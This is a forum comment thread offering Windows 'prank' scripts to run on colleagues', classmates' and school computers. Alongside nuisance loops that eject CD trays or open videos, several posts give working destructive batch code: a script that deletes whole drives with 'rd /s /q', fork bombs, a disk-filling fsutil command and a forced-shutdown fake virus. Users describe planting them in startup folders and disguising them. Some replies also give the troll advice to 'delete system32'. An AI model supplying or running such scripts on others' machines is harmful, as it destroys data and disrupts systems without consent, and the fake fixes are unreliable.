For your trolling need.. . Work in an office? Want to annoy an colleague? ilk' . Eject Next rrai Next End If 123993 lump. Here you go, guys. I wrote it for you because OP was too lazy to do it himself. Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCo troll this College uni do it phaggot
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For your trolling need.

Work in an office?
Want to annoy an colleague?
ilk' . Eject
Next
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User avatar #4 - camperdude (09/10/2013) [-]
Here you go, guys. I wrote it for you because OP was too lazy to do it himself.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 120000
loop
#146 to #4 - darkphoenixxx (09/11/2013) [-]
Thanks.
Just did this @Nokia office.
#29 to #4 - bloodygod (09/11/2013) [-]
even though its part of the code mfw at the end when it says " loop "
User avatar #54 to #4 - mvtjets (09/11/2013) [-]
regaesnhoj

Sticky this
User avatar #7 to #4 - thisxshitxisxhard (09/10/2013) [-]
ur a good person
#18 to #7 - themasterofderp (09/11/2013) [-]
how do you stop it? just by deleting the file?
User avatar #24 to #18 - OOOnelsonOOO (09/11/2013) [-]
Open the running processes and kill it. (ctrl+alt+delete)
User avatar #51 to #24 - lilmatty (09/11/2013) [-]
ctrl+shift+esc opens up task manager directly. then end process "wscript.exe" (sort it by image name to make it easier)
#200 to #4 - spikedude (09/11/2013) [-]
Dude he did type it out in the description:

ilk' . Eject
Next
rrai
Next
End If
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#152 to #4 - darknemisis (09/11/2013) [-]
Clicked "top Rated" because I knew, deep in my heart, a saint such as yourself would of done this.
On behalf of the lazy community, I thank you greatly!
#175 to #152 - camperdude (09/11/2013) [-]
It was my pleasure.
User avatar #28 to #4 - leprechaunne (09/11/2013) [-]
Just use the lightbulbs version
#11 to #4 - Rascal (09/11/2013) [-]
Im doing this to every if I dont get caught before then computer in my school.

Wish me luck, Im going to get suspended.
#30 to #11 - spartathecat (09/11/2013) [-]
Post results?  aka tell us what the 			****		 goes down
Post results? aka tell us what the **** goes down
User avatar #61 to #11 - shinote (09/11/2013) [-]
But you'll be a damn hero, so it's worth it.
#330 to #61 - computerprankguy (09/17/2013) [-]
Well if anyone is gonna read this, I tried it on one of the computers, it worked.

My friend noticed and he was like "Dude your computer is haunted, burn that **** "
Thought I'd mess around more so I told a teacher, she laughed at my problem and tried to fix it, It didn't work. I put the file in the startup folder so whoever logs on will receive that problem.

My plan is to slowly put this on all the computers at my school, it will probably take half or the entire school year to finish. It's very risky because the more computers with the problem, the more pressing the matter is. They'll probably pinpoint it to me, and by that time my career is over.

Wish I could post pics but that would blow my cover if anyone came on here. I'll try to a pic on whoever uses that computer tomorrow but it'll probably be censored.
#275 to #11 - Rascal (09/11/2013) [-]
Most computers use personal logins at school. The second you log it, it'll forceclose and not effect anyone but you.
#204 to #11 - dross (09/11/2013) [-]
Titanic - Nearer My God To Thee (Full Version) Godspeed, you magnificent bastard.
User avatar #1 - kothaex (09/10/2013) [-]
Dear god man indent your code.
User avatar #41 - Mastaforga (09/11/2013) [-]
Echo off
:loop1
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop1

Just a fun script that got me suspended from school... save as "filename".bat
opens so many command prompts that it crashes computer
User avatar #47 to #41 - oliveirajo (09/11/2013) [-]
IM?
User avatar #48 to #47 - Mastaforga (09/11/2013) [-]
Message*
User avatar #183 to #41 - Cookiez (09/11/2013) [-]
cant you just do

start filename

and then save it as "Filename"?
User avatar #295 to #183 - Mastaforga (09/11/2013) [-]
Not sure what your question is... You have to save it as "filename".bat

Whatever you name it as doesn't matter, aslong as it's saved as a .bat
User avatar #321 to #295 - Cookiez (09/12/2013) [-]
i know, i just meant that simply writing "start filename" gives you the same result in way less lines
User avatar #324 to #321 - Mastaforga (09/12/2013) [-]
just doing one line of starting the file would make them open slower, cause there is a larger delay in the processor for going to another action like "loop"
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User avatar #45 to #41 - oliveirajo (09/11/2013) [-]
Man, I did that so many times at school... Poor you.
User avatar #46 to #45 - Mastaforga (09/11/2013) [-]
It's all good, I had fun up until then... For the shear sense of trolling I am posting some of my simple codes here... If anyone would like a more advanced code just IM me (the advanced ones are too long to comment)
User avatar #57 to #41 - shinote (09/11/2013) [-]
I love you. No homo, but seriously, please continue to post these, I'm a noob at **** like this, and would LOVE to be able to do to people
#296 to #57 - Mastaforga (09/11/2013) [-]
Here is one just because I liked your comment

This will make a blank file anywhere on the hard drive that you chose and can take up as much hard drive space as you want... You could make it take up 240GB if you have a friend with 256 GB HDD to make him wonder why he has no more storage left

@echo off
color 2
:loop
fsutil file createnew C:\Windows\system32\catroot2{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb2 1073741824

You can change the directory and the file size to whatever you want
User avatar #58 to #41 - amegaara (09/11/2013) [-]
couldnt you just put on
Echo off
:loop1
start command
goto loop1
???
or would this get less cmd windows to show up?
User avatar #291 to #58 - Mastaforga (09/11/2013) [-]
It wouldn't open them as fast, although still pretty fast
User avatar #239 to #58 - hates (09/11/2013) [-]
It'd make the command windows show up more slowly, I think
User avatar #42 to #41 - Mastaforga (09/11/2013) [-]
Do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(d).Eject
colCDROMs.Item(d).Eject
Loop
Do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(d).Eject
colCDROMs.Item(d).Eject
Loop
Do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(d).Eject
colCDROMs.Item(d).Eject
Loop
Simpler version of OP's script... also save as "filename".vbs
User avatar #43 to #42 - Mastaforga (09/11/2013) [-]

@echo off
echo System32 Force Stop...
echo Critical System Files Deleted...
pause
echo Create Directory h4x...
echo C:\Program Files\System
echo Hidden System Files found...
echo:
echo:
echo:
start pause.bat
echo Directory Created...
cd C:\
echo Execute virus...
pause
Shutdown -f -s -t 3 -c "Computer Failure."

Fun one I made to make your friends think a virus has ruined their PC... save as "filename".bat
User avatar #44 to #43 - Mastaforga (09/11/2013) [-]
Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q

Works on Windows Xp, never tried it on 7 so not sure... *Warning* will harm computer, made it for enemies... save as "filename".bat
#56 to #44 - Bananamoonlight ONLINE (09/11/2013) [-]
What does it do exactly? and thx btw
User avatar #294 to #56 - Mastaforga (09/11/2013) [-]
Destroys the partition if i can remember correctly
#55 to #44 - Funnypocalypse (09/11/2013) [-]
You're a gold mine..
User avatar #64 to #43 - thegamerslife (09/11/2013) [-]
How do you remove it though. especially the harmful one. so if someone wanted to use this to secretly "destroy" a friends computer, so they give it to you. lol
User avatar #293 to #64 - Mastaforga (09/11/2013) [-]
for the harmful one, unless you are knowledgeable in fixing hard drive partitions, you should get a new hard drive
#276 to #42 - gorekaiser (09/11/2013) [-]
I dont want to sound like a n00bfag, but why do you have to repeat it three times?
User avatar #290 to #276 - Mastaforga (09/11/2013) [-]
Not necassary, but it makes the cd rom open with less time interval
#14 - VICTORx (09/11/2013) [-]
@echo off
color 0a
echo OH GOD I AM NOT GOOD WITH COMPUTER
Pushd "%~dp0"
:faggots
title HOW COULD THIS HAPPEN
start blameitontheblacks.bat
goto faggots

copy above into notepad
save as "blameitontheblacks.bat" sans quotes
open
self-replicating file reopens itself until computer crashes
fun times!
User avatar #40 to #14 - rabaneristo (09/11/2013) [-]
I love to see how many people fav'd your comment to do this later.
User avatar #50 to #40 - drunkasaurus (09/11/2013) [-]
...you can though
User avatar #53 to #50 - rabaneristo (09/11/2013) [-]
I know. I was one of them.
User avatar #15 to #14 - thenez (09/11/2013) [-]
ANYTHING BUT THE FORKBOMB!
User avatar #62 to #15 - oishiine ONLINE (09/11/2013) [-]
%0|%0 is love, %0|%0 is life.

I hope someone gets this
User avatar #185 to #62 - batmane (09/11/2013) [-]
Thats a fork bomb rite?
User avatar #221 to #185 - oishiine ONLINE (09/11/2013) [-]
Yep
User avatar #138 to #62 - afjhahsdsl (09/11/2013) [-]
I don't, but I want .. Please explain. or not, that's cool too
User avatar #224 to #138 - oishiine ONLINE (09/11/2013) [-]
It's a simple fork bomb

%0 is the name of the currently executing batch file

%0|%0 recursively executes itself forever.

Try typing %0|%0 into notepad and saving it as something.bat

Then run it
User avatar #177 to #15 - thenewnuggubler ONLINE (09/11/2013) [-]
A friend of mine in my school made a forkbomb and he puts it on someone's PC whenever he gets the chance, in our programming class. He ruined his own computer so bad Windows had to be reinstalled
User avatar #184 to #177 - thenez (09/11/2013) [-]
He couldn't boot into safe mode and delete the forkbomb?
User avatar #281 to #184 - thenewnuggubler ONLINE (09/11/2013) [-]
He left it running on purpose. I once crashed my computer with a program that generates the fibonacci seqence
User avatar #282 to #281 - thenez (09/11/2013) [-]
Well that's quite odd to leave it running purposely, when it could have been resolved in ten minutes, may I ask why?
User avatar #283 to #282 - thenewnuggubler ONLINE (09/11/2013) [-]
We just started on recursion in class and we wanted to see what we do, more or less. We were actually screwing around with it today, too. Now he disguises the .bat with an icon like chrome or something when putting it on someone else's PC. It's good fun
User avatar #26 to #15 - metalheadtildeath ONLINE (09/11/2013) [-]
the DEATH of ram lol
#67 to #14 - robbyarcane (09/11/2013) [-]
i do this when i go to walmart.. but instead of it continuing to open itself. i have it open iexplore.exe (internet explorer) and than i place it in the startup.. TFW they see the computer
#99 - snaigen (09/11/2013) [-]
I made something different:

A Script that will start the Internet Explorer with the rick roll youtube video every 2 minutes (first intverall is also 10 minutes). Just double click the init-troll.bat and have fun.

Make a folder somewhere (on Desktop or hidden in C:\whatever..) and create these two files in it:

init-troll.bat:
@echo off
powershell.exe -ExecutionPolicy ByPass -NonInteractive -WindowStyle Hidden ".\troll.ps1"
PAUSE

troll.ps1:
$i = 1
while (1) {
if ($i -ne 1) {
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Navigate2("www.youtube.com/watch?v=IAISUDbjXj0")
$ie.Visible = $true
Start-Sleep -Seconds 120
} else {
Start-Sleep -Seconds 600
}
$i++
}
User avatar #122 to #99 - karvarausku (09/11/2013) [-]
You are horrible and cruel person.
#125 to #122 - snaigen (09/11/2013) [-]
I just obey my orders
User avatar #271 to #99 - pwilkerson (09/11/2013) [-]
tried this and all it did was open a command prompt when I double clicked "init-troll.bat"

Any suggestions?
#288 to #271 - snaigen (09/11/2013) [-]
The command prompt should disappear. If everything works well, the internet explorer will open 10 minutes after double clicking the .bat. Check your task-manager if there is the process "powershell.exe" (and kill it if you want to get rid of rick rolling).
I tried it successfully on the laptop from my mother (looking forward to her reaction in 8 minutes )
User avatar #337 to #288 - newbrony (10/20/2013) [-]
what was her reaction?
#289 to #288 - snaigen (09/11/2013) [-]
... it works like a charm
... it works like a charm
#17 - ROTFLcopter **User deleted account** (09/11/2013) [-]
I feel like it would be better if it was a random interval between 1 and 10 minutes
#72 to #17 - butplug (09/11/2013) [-]
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep Rnd() * 600000
loop
User avatar #103 to #72 - flyingfeces (09/11/2013) [-]
Is this the same as in OP content? It seems differently coded. Anyone tried this yet?
#170 to #103 - butplug (09/11/2013) [-]
I changed the "wscript.sleep". The dude wanted random interval between 1 and 10. Well, he got them
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#218 to #74 - Rascal (09/11/2013) [-]
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#241 to #74 - Rascal (09/11/2013) [-]
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pew
#251 to #74 - Rascal (09/11/2013) [-]
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User avatar #100 to #74 - ninjachickensftw (09/11/2013) [-]
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fukin senpai
#93 to #74 - binomancha (09/11/2013) [-]
**binomancha rolled a random image posted in comment #40 at Because gold is better **
alt255 alt255 alt30
alt30 alt255 alt30

did i do it right?

mfw i dont know how **** works?
#258 to #93 - Rascal (09/11/2013) [-]
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User avatar #233 to #93 - vortexrain (09/11/2013) [-]
Sorry, forgot to mention that you do not type out 'alt', you hold down the alt key. There should be one on either side of your spacebar.
User avatar #155 to #93 - vortexrain (09/11/2013) [-]
No spaces, and you have to use the number pad.
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User avatar #81 to #74 - duelknight (09/11/2013) [-]
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I knew this for awhile, but i frogot what the alt was for the triangle thanks
#83 to #81 - EmulateSnes (09/11/2013) [-]
anytime.




anytime.
User avatar #94 to #74 - TheMather ONLINE (09/11/2013) [-]
ÿÿ
ÿ

Because Locale set to Japanese in order to play VNs.
User avatar #310 to #94 - wartroll (09/12/2013) [-]
Um, I have japanese locale installed as well but the triforce seems to work :/
User avatar #311 to #310 - TheMather ONLINE (09/12/2013) [-]
Strange. For me alt+255 gives me that ÿ and alt+30 gives me nothing.
Though what annoys me more is that I can no longer use alt+253 for squared and alt+252 for cubed, nor alt+2552 for degrees.
User avatar #312 to #311 - wartroll (09/12/2013) [-]
Maybe it has to do with the OS but I'm not sure, since I'm still using Windows XP.
User avatar #313 to #312 - TheMather ONLINE (09/12/2013) [-]
Yeah, I'm on Win7.
User avatar #113 to #94 - vortexrain (09/11/2013) [-]
How do I change my locale? The only VN I've ever played is KS, and I want to start Monster Girl Quest.
User avatar #154 to #113 - TheMather ONLINE (09/11/2013) [-]
Control Panel>Region and Language>Administrative
User avatar #156 to #154 - vortexrain (09/11/2013) [-]
What is a locale anyway?
User avatar #158 to #156 - TheMather ONLINE (09/11/2013) [-]
The language the system defaults to for services that don't read the system language.
In other words you're going to see a lot of Japanese installers from now on.
User avatar #160 to #158 - vortexrain (09/11/2013) [-]
Why'd it mess with your Triforce though?
User avatar #165 to #160 - TheMather ONLINE (09/11/2013) [-]
Because it alters the codes for the symbols to fit the Japanese set.
#314 to #113 - wartroll (09/12/2013) [-]
No, you don't want, you NEED to play it.
User avatar #341 to #314 - keltainenlumi (04/07/2015) [-]
no need to play ****
User avatar #319 to #314 - vortexrain (09/12/2013) [-]
I'll do it later.
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#88 to #74 - Rascal (09/11/2013) [-]
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You taught anon how to tri-force, you really done it now :p
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#115 to #74 - cjasper (09/11/2013) [-]
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User avatar #137 to #74 - niggastolemyname (09/11/2013) [-]
I use the half size non breaking spaces for my triforce
Please don't hurt me
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hoorah my first triforce haha noonecares.jpg
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good job mate, I care.
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User avatar #12 - ifuckbabies **User deleted account** (09/11/2013) [-]
Years ago i found this site(or a program? I don't remember), that you could use to make files(or links? Once again, i don't remember), that when opened/used, will **** up computers. You could make it eject the disc tray like hundreds of times in a row, you could make the computer shut down, and you could make it do more things, i think. If anyone knows what I'm talking about, and if the thing still exists, then could someone perhaps let me know?
User avatar #13 to #12 - iitoxictz ONLINE (09/11/2013) [-]
The eject button and the power button, they still exist today, you're welcome.
User avatar #22 to #13 - ifuckbabies **User deleted account** (09/11/2013) [-]
Not really sure how to reply to your comment, so I'll simply facepalm for a while.
User avatar #23 to #22 - iitoxictz ONLINE (09/11/2013) [-]
Being tired and trying to make a joke simply do not mix and I apologize for this atrocity of a joke.
User avatar #25 to #23 - ifuckbabies **User deleted account** (09/11/2013) [-]
Eh, it's fine. I completely understand. I've been in your situation numerous times.
#32 to #22 - Rascal (09/11/2013) [-]
it made me giggle.
#168 - johnpoppy (09/11/2013) [-]
Put this in notepad:
CreateObject("SAPI.SpVoice").Speak"Enter text here"

Save as: "filename.vbs"
Put in startup folder.
This will make the computer say whatever you put in "Enter text here" and have it do so anytime the PC starts up.
User avatar #226 to #168 - drhoffable (09/11/2013) [-]
and how do you remove it?
#227 to #226 - johnpoppy (09/11/2013) [-]
Take it out of the startup folder.
User avatar #230 to #227 - drhoffable (09/11/2013) [-]
**** and one last question where can i fold the start up folder?
User avatar #245 to #237 - drhoffable (09/11/2013) [-]
nice games
User avatar #228 to #227 - drhoffable (09/11/2013) [-]
derp ok thanks
#246 - mrdrpage (09/11/2013) [-]
I did this and forgot all about it. About 10 minutes later it started working. I flipped my 			****		.   
   
I'm off to do it to my roommates computer.
I did this and forgot all about it. About 10 minutes later it started working. I flipped my **** .

I'm off to do it to my roommates computer.
#214 - gux ONLINE (09/11/2013) [-]
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User avatar #252 to #214 - djjeroenski (09/11/2013) [-]
your colleague's FW
#9 - verycoolcat (09/10/2013) [-]
Back in my day, we used to tell people to use the deltree command on dos.
#76 - erpetrich (09/11/2013) [-]
MFW I do't know 			****		 about computer code
MFW I do't know **** about computer code
#187 - demideus (09/11/2013) [-]
oh the beautiful sounds of rage
oh the beautiful sounds of rage
User avatar #3 - crowd (09/10/2013) [-]
I do not have a cd tray, but i am hoping for something else here.
User avatar #10 to #3 - mydogizmexican (09/11/2013) [-]
You should replace that moving object with something else
#39 to #3 - dontlookback (09/11/2013) [-]
Dat profile pic....
User avatar #159 to #3 - wizzerdofaus (09/11/2013) [-]
avatar sauce now
User avatar #112 - tallzed (09/11/2013) [-]
Quick question: How do you stop it?
User avatar #133 to #112 - seras (09/11/2013) [-]
Kill the process.
#315 to #112 - Rascal (09/12/2013) [-]
delete system32
User avatar #316 to #315 - tallzed (09/12/2013) [-]
I am not falling for that **** again.
User avatar #144 to #112 - brettyoke (09/11/2013) [-]
Find it under ctrl+shift+esc and end process.
#126 to #112 - kaboomz (09/11/2013) [-]
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dont delete the file
it will stop eventualy

trust me i am compute porfessional
User avatar #119 to #118 - tallzed (09/11/2013) [-]
No i need it to scam people for money. You know i start it up and charge them to fix it.
User avatar #120 to #119 - Lainge (09/11/2013) [-]
faggot
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User avatar #106 - invincibleone (09/11/2013) [-]
my idiot friend did this to MY computer anyone know how to get rid of it?
#107 to #106 - Rascal (09/11/2013) [-]
You will need to delete the file which contains the script, usually disguised as a system file. Click on 'My computer', and in the top right their should be a search bar 'System32' (There are only 31 system files on windows, so a new one would be called that). Delete it and that should fix the problem. Warning, it might delete things like browsing history, but unfortunately it is the best you can do without mirroring your hard-drive...
User avatar #109 to #107 - invincibleone (09/11/2013) [-]
youre a ******* idiot. i fixed it myself
User avatar #178 to #109 - Dwarf (09/11/2013) [-]
What did you do?
User avatar #190 to #178 - clechyl (09/11/2013) [-]
get it out of the startup folder maybe or kill the process
msconfig should help
User avatar #327 to #190 - invincibleone (09/13/2013) [-]
killed the process didnt work had to restore my computer from the day before's backup
User avatar #328 to #327 - clechyl (09/13/2013) [-]
why didn't it work? did you try turning it off and back on again?
User avatar #287 to #190 - Dwarf (09/11/2013) [-]
Where is the startup folder? >_>
User avatar #329 to #287 - invincibleone (09/13/2013) [-]
its not exactly a startup fplder just a conti8nuous running program, delete the program
#201 to #106 - Rascal (09/11/2013) [-]
delete system32
#8 - Rascal (09/10/2013) [-]
I have a Media Gaming lesson tomorrow, this could make it interesting.
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